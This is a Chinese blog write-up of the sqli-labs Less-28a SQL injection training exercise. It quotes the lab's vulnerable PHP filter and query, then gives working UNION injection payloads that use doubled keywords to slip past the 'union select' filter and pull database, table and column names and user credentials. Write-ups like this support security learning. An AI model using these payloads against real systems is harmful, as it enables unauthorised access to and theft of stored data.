sqli-labs-Less-28a

SQLI-LAPS 实验记录

Less-28a

这一关给出的提示信息显示仅对'UNION'以及'SELECT'字符串进行了过滤,相比上一关,难度要降低了一些,我们只需要使用双写绕过的方式就可以应对。

php 复制代码
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,输入Payload如下:

php 复制代码
0') union%09union selectselect 1,2,3 and ('1')=('1

结果如图所示,可以看到页面成功返回信息,我们就可以在回显位进行修改,以查找对应的数据库名、表名、列名及其他数据。

后续查找数据库表名、列名及其他数据的Payload分别如下:

  • 查找数据库名:

    php 复制代码
    0') union%09union selectselect 1,database(),3 and ('1')=('1
  • 查找表名:

    php 复制代码
    0') union%09union selectselect 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and ('1')=('1
  • 查找列名:

    php 复制代码
    0') union%09union selectselect 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 and ('1')=('1

    查找其他数据:

    php 复制代码
    0') union%09union selectselect 1,(select concat(username,':',password) from security.users where (id=1)),3 and ('1')=('1

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
小陳参上3 小时前
用Python创建一个Discord聊天机器人
jvm·数据库·python
changhong19864 小时前
如何在 Spring Boot 中配置数据库?
数据库·spring boot·后端
执笔画情ora7 小时前
Postgresql数据库管理-pg_xact
数据库·postgresql·oracle
南棱笑笑生7 小时前
20260310在瑞芯微原厂RK3576的Android14查看系统休眠时间
服务器·网络·数据库·rockchip
JuneXcy7 小时前
第4章 Mysql数据操纵语句--单表查询
mysql
XDHCOM7 小时前
ORA-32152报错咋整啊,数据库操作遇到null number问题远程帮忙修复
服务器·数据库·oracle
专利观察员7 小时前
输配电行业创新转型实践:南宁迪**力有限公司的专利策略调整、专利检索工具采用
数据库·科技·专利·专利申请
jgyzl8 小时前
2026.3.9 Redis内存回收内存淘汰
数据库·redis·缓存
白露与泡影8 小时前
MySQL 时间类型选型避坑:timestamp 和 datetime 该怎么选?
数据库·mysql
Atomic121388 小时前
frp 内网穿透工具详细使用指南
web安全·网络安全·渗透测试